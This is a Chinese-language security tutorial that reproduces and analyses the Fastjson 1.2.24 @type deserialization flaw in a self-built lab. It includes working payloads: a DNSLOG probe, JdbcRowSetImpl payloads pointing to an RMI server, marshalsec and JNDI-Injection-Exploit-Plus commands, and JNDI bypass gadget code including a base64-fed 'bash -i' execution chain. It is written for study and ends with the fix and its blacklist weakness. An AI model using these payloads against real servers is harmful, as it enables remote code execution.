前言:
要想理解漏洞原理,首先看看Fastjson是什么,具体用来做什么才能更好的找到可以利用的场景:
Fastjson 是一个由阿里巴巴开发的 Java 语言实现的高性能 JSON 解析器和生成器。它具有以下特点:
-
快速:Fastjson 在序列化和反序列化 JSON 数据方面表现出色,在性能方面优于其他主流 JSON 处理库。
-
灵活:Fastjson 支持将 Java Bean 直接转换为 JSON 字符串,也支持将 JSON 字符串直接转换为 Java Bean。它还支持自定义序列化和反序列化规则。
-
功能强大:Fastjson 提供了丰富的 API,支持复杂的 JSON 操作,如查询、修改、删除等。
-
广泛应用:Fastjson 被广泛应用于阿里巴巴集团内部的众多项目中,并得到了良好的评价。
使用 Fastjson 的基本步骤如下:
添加 Fastjson 依赖到项目中::
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.78</version>
</dependency>
序列化Java对象为JSON字符串:
User user = new User("John", 30);
String json = JSON.toJSONString(user);
反序列化JSON字符串为Java对象:
String jsonStr = "{\"name\":\"John\",\"age\":30}";
User user = JSON.parseObject(jsonStr, User.class);
使用 Fastjson 提供的丰富 API 进行复杂的 JSON 操作:
JSONObject jsonObject = JSON.parseObject(jsonStr);
String name = jsonObject.getString("name");
int age = jsonObject.getInteger("age");
一般在处理前端数据的时候会用到fastjson,比如用户上传的表单等,后台处理的时候可以使用fastjson进行处理,非常的方便快捷
搭建漏洞环境
下面我们自己搭建一个测试环境,我使用的是springMVC搭建,具体的spring创建过程可以自己查找,这里就不多做介绍,下面介绍下测试代码:
首先是处理前端请求的主函数:
//设置请求路的径 规定请求的方式是post
@RequestMapping(value = "/show.do",method = RequestMethod.GET)//请求方式设定后,只能用post的提交方式
public ModelAndView show(){
ModelAndView mv = new ModelAndView();
//经过InternalResourceViewResolver对象处理后前缀加上后缀就变为了: /jsp/team/update.jsp
mv.setViewName("/index");//要经过Springmvc的视图解析器处理,转换成物理资源路径。
return mv;
}
@RequestMapping("/test.do")
public ModelAndView testFastJSON(@RequestBody String jsonStr) {
ModelAndView mv = new ModelAndView();
//java.lang.Runtime
// 使用FastJSON解析请求中的JSON数据
JSONObject jsonObject = JSON.parseObject(jsonStr);
String name = jsonObject.getString("name");
int age = jsonObject.getInteger("age");
// 创建响应对象
Map<String, Object> response = new HashMap<>();
response.put("message", "Hello, " + name + "! You are " + age + " years old.");
System.out.printf(JSON.toJSONString(response));
mv.addObject("backinfor", JSON.toJSONString(response));
mv.setViewName("/jsp/show");
// 使用FastJSON将响应对象序列化为JSON字符串
return mv;
}
前端代码index.jsp:
<!DOCTYPE html>
<html>
<head>
<title>FastJSON Test</title>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>
<body>
<h1>FastJSON Test</h1>
<button id="testButton">Click me</button>
<div id="result"></div>
<script>
$(document).ready(function() {
$('#testButton').click(function() {
$.ajax({
type: "POST",
url: "/test.do",
data: JSON.stringify({name: "John", age: 30}),
contentType: "application/json; charset=utf-8",
dataType: "json",
success: function(data) {
$('#result').text(data.message);
},
error: function(xhr, status, error) {
console.error(error);
}
});
});
});
</script>
</body>
</html>
前端代码show.jsp
${backinfor}
pom.xml添加fastjson包,这里使用1.2.24版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
运行下看下效果:
看下数据包:
漏洞复现:
下面先针对漏洞进行复现,使用poc如下:
{"name":{
"@type":"java.net.Inet4Address",
"val":"g17myc.dnslog.cn"
},
"age":30
}
发送成功:
可以看到DNSLOG平台获取到了对应的访问信息,证明确实存在漏洞,至于为什么是访问了两次,后面再解释:
漏洞分析:
网上很多教程只将利用,从来不关心漏洞的原理,用一下能成功就行了,那也太没意思了,这里顺带分析下对应的漏洞原理,这里我们要再项目里添加一个新的java文件,来方便理解:
package org.example.controller;
import java.io.IOException;
import java.sql.SQLException;
public class mytest {
public void noSet(String dsName){
System.out.printf(dsName);
}
public void setExecmy(String dsName){
System.out.printf(dsName);
}
public void setType(String type){
System.out.printf(type);
}
public void setDataSourceName(String dsName) throws SQLException {
System.out.printf(dsName);
}
public mytest(){
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
发送如下数据包:
{
"name":{
"@type":"org.example.controller.mytest",
"noSet":"noSet",
"execmy":"execmy",
"Type":"Type",
"dataSourceName":"dataSourceName"
},
"age":30
}
很简单就是测试如何调用到我们自己编写的代码中去,下面就列举一些比较重要的点,其他地方可以自行调试:
首先我们会进入主函数:
com.alibaba.fastjson.parser.DefaultJSONParser的parseObject
再scanSymbol处获取对应的json属性值:
进入com.alibaba.fastjson.parser.JSONLexerBase的scanSymbol方法:
循环获取我们要处理的json的属性值:
然后回到parseObject主函数,这里会判断我们的属性值是否等于@type,如果等于则进入循环:
并且通过如下语句获取到我们type中设置的类方法:
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
由于我们上一步获取到了对应的clazz,下面我们要对具体的class进行处理,进入到如下方法:
下面要进入一个很有意思的地方,针对反射的处理:
com.alibaba.fastjson.parser.createJavaBeanDeserializer方法生成javaBean
这里我们会根据我们添加的类生成一个反射表来进行后面的调用,具体的生成方法再build中,这里使用asmEnable进行判断,如果是相同的类则不进入,仅对第一次进入的类进行生成:
下面进入到具体的生成方法:
com.alibaba.fastjson.util.build方法
首先会获取指定类中的所有方法,这里可看到其中包含我们刚才添加类中的四个方法另外还有一些基础方法
然后获取到对应的方法名后会判断是否存在set,如果存在则提取出除了set以外的字符:
最后执行如下代码将匹配到的方法添加到接口列表中
return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor)null, (Method)null, buildMethod, jsonType, fieldList);
执行完成后查看任意反射列表,可以看到我们设置的方法,为后续反射提供了条件:
然后回到主函数后执行,实例化我们的类:
thisObj = deserializer.deserialze(this, clazz, fieldName);
示例化完成后会处理其他参数,会进入到smartMatch方法中:
com.alibaba.fastjson.parser.deserializer.smartMatch
如果在第一步匹配的fieldDeserializer为空,则会进行多轮匹配,具体的匹配规则后续进行研究,感觉可以用来作为绕过的方案:
其中主要通过this.getFieldDeserializer(key);来进行反射匹配,当我们参数中存在execmy,会对应匹配到setExecmy方法:
然后就要根据fieldDeserializer进入指定的流程,如果fieldDeserializer不为空,则会反射到对应的方法中
com.alibaba.fastjson.parser.deserializer.parseField方法
具体的反射过程如下:
最后进入setValue方法中反射调用指定方法:
com.alibaba.fastjson.parser.deserializer的setValue方法
对应的参数值:
然后就进入了我们自己编写的代码中执行。
上述大概的流程我们已经走完了,漏洞也很明显了就是没有对@type内容进行校验,进而导致的问题,下面我们针对能触发dnslog的 java.net.Inet4Address进行简单分析,看看是如何触发:
这里需要注意,fastjson中会针对部分类进行特殊处理,当我们使用java.net.Inet4Address的时候会触发:
com.alibaba.fastjson.util的get方法
可以看到对应的value是MiscCodec,即:
com.alibaba.fastjson.serializer.MiscCodec的deserialze
对应的this.buckets列表中可以看到内置的反射方法:
然后执行thisObj = deserializer.deserialze(this, clazz, fieldName);进入MiscCodec的deserialze方法中,然后执行InetAddress.getByName(strVal),我们的dnslog平台就收到了第一个请求
然后进入代码String name = jsonObject.getString("name");调用的toString是java.net.Inet4Address的toString方法:
然后这里又触发了第二次DNSLOG平台的访问
由此我们就完整的分析了漏洞的成因和为何触发了对DNSlog平台的访问
漏洞利用:
利用方法为可以加载任意的类,如果其中带有set方法名的,只要参数中带有对应相同的方法名就会调用到对应的set方法,基于这个目前比较常见的就是使用RMI或者ldap注入
poc如下:
{
"name":
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.5.99:9999/mytest",
"autoCommit":true
},
"age":30
}
先看下是如何触发的,首先我们使用@type使反射调用com.sun.rowset.JdbcRowSetImpl方法,然后会调用setDataSourceName方法和setAutoCommit方法,看下对应的方法
可以看到调用了conn = connect();,查看其内部方法,可以看到其调用了lookup方法触发了rmi漏洞:
下面我们尝试执行我们自己编写的恶意代码,代码如下:
public class mytest {
public mytest() throws Exception{
try {
String var0 = "calc";
Runtime.getRuntime().exec(var0);
} catch (Exception var1) {
var1.printStackTrace();
}
System.out.println();
}
static {
System.out.println("run calc");
}
}
然后使用命令javac mytest.java编译为class文件,使用marshalsec搭建RMI服务器:
https://github.com/mbechler/marshalsec
mvn clean package -DskipTests
然后使用如下命令启动RMI服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.5.99:1234/#mytest" 9999
然后使用如下poc:
{
"name":
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.5.99:9999/mytest",
"autoCommit":true
},
"age":30
}
这里需要注意高版本的jdk环境会禁止加载远程class
com.sun.naming.internal.VersionHelper12
默认为flase,无法加载远程class文件,但是如果是低版本的java环境可以直接执行:
高版本的可以进行绕过,但是对环境要求较高,需要环境中有对应的jar包,下面我们自己搭建一个rmi的服务器,来进行演示:
服务器代码如下:
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Main {
public static void main(String[] args) throws Exception {
try{
Registry registry = LocateRegistry.createRegistry(1088);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
// ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// ref.add(new StringRefAddr("forceString", "x=parseClass"));
// ref.add(new StringRefAddr("x", "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(clac)\n})\ndef x\n"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calcaa", referenceWrapper);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
服务器监听1088端口,设置poc如下:
{
"name":
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.5.99:1088/calcaa",
"autoCommit":true
},
"age":30
}
发送数据包后触发fastjson漏洞远程访问我们1088的远程rmi服务器,进而触发漏洞执行命令弹出计算器,另外网上还有四种绕过代码如下:
/*
* Need : Tomcat 8+ or SpringBoot 1.2.x+ in classpath,because of javax.el.ELProcessor.
*/
public ResourceRef execByEL() {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", String.format(
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
")",
this.command
)));
return ref;
}
/*
* (GroovyClassLoader) Need : Tomcat and Groovy in classpath,because of groovy.lang.GroovyClassLoader.
*/
public ResourceRef execByGroovy1() {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
ref.add(new StringRefAddr("x", String.format(
"@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef x\n",
this.command
)));
return ref;
}
/*
* (GroovyShell) Need : Tomcat and Groovy in classpath,because of groovy.lang.GroovyClassLoader.
*/
public ResourceRef execByGroovy2() {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
ref.add(new StringRefAddr("x", "'bash -c {echo," +
Base64.getEncoder().encodeToString(this.command.getBytes()) +
"}|{base64,-d}|{bash,-i}'.execute()"
));
return ref;
}
/*
* Need : WebSphere v6-v9, file content will stop util '#' or '?' or EOF.
*/
public javax.naming.Reference readfileByWebsphere() {
javax.naming.Reference ref = new Reference("ExploitObject",
"com.ibm.ws.webservices.engine.client.ServiceFactory", null);
ref.add(new StringRefAddr("WSDL location", this.codebase+"wsdl/list.wsdl"));
ref.add(new StringRefAddr("service namespace","xxx"));
ref.add(new StringRefAddr("service local part","yyy"));
return ref;
}
读者可以自己搭建服务器进行测试,另外可以使用JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
执行命令如下:
java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"
执行后可以看到可以选用的攻击载荷和对应的地址:
使用的时候只需要选择使用的负载就行,如使用rmi的加载本地文件执行命令的可以使用如下poc:
{
"name":
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/localExploitel",
"autoCommit":true
},
"age":30
}
漏洞修复:
>=1.2.25后进行了修复,主要进行两处校验,校验函数为
com.alibaba.fastjson.parser.checkAutoType
引入了autoTypeSupport,如果设置允许则会跳过第二步校验,返回类进行反射,
默认为false,这个时候会进入第二步过滤,如果包含以下22个任一类就会触发异常:
但是java.net.Inet4Address并不在其中,就是说我们还是可以使用dnslog确定网站是否使用fastjson模块,至于如何利用,修复是使用了黑名单的方式进行防御,那么就一定有绕过的方法,具体如何绕过,那就看所处环境里有没有可以利用的代码了 。
漏洞的原理还是较为简单,但是个人感觉其防御采用黑名单的方式还是存在隐患,如果拿到对应服务器的源代码,对源代码审计找到可以利用的函数,即可通过fastjson的rmi或ldap进行利用,并且测试中还是可以利用java.net.Inet4Address来判断服务器是否使用了fastjson来处理json数据,存在隐患。
CVE-2022-25845就是针对CVE-2017-18349的升级版,可以绕过checkAutoType校验,将autoTypeSupport设置为true,具体的后续会进行讲解